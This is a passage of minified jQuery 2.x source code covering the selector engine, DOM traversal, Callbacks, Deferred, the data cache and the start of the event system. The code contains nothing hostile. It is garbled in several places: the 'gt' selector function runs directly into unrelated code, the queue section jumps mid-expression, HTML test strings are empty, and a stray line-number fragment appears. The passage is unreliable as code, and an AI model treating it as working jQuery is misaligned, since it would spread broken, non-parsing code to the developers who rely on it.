0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(jb(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),jb(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&jb(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return lb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?lb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},gb.matches=function(a,b){return gb(a,null,null,b)},gb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return gb(b,n,null,[a]).length>0},gb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},gb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},gb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},gb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=gb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=gb.selectors={cacheLength:50,createPseudo:ib,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||gb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&gb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=gb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||gb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ib(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ib(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ib(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ib(function(a){return function(b){return gb(a,b).length>0}}),contains:ib(function(a){return a=a.replace(cb,db),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ib(function(a){return W.test(a||"")||gb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:ob(function(){return[0]}),last:ob(function(a,b){return[b-1]}),eq:ob(function(a,b,c){return[0>c?c+b:c]}),even:ob(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:ob(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:ob(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:ob(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function tb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ub(a,b,c){for(var d=0,e=b.length;e>d;d++)gb(a,b[d],c);return c}function vb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wb(a,b,c,d,e,f){return d&&!d[u]&&(d=wb(d)),e&&!e[u]&&(e=wb(e,f)),ib(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ub(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:vb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=vb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=vb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sb(function(a){return a===b},h,!0),l=sb(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sb(tb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wb(i>1&&tb(m),i>1&&rb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xb(a.slice(i,e)),f>e&&xb(a=a.slice(e)),f>e&&rb(a))}m.push(c)}return tb(m)}function yb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=vb(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&gb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ib(f):f}return h=gb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,yb(e,d)),f.selector=a}return f},i=gb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&pb(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&rb(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&pb(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=jb(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),jb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||kb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&jb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||kb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),jb(function(a){return null==a.getAttribute("disabled")})||kb(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),gb}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){return M.access(a,b,c) 3 | },removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 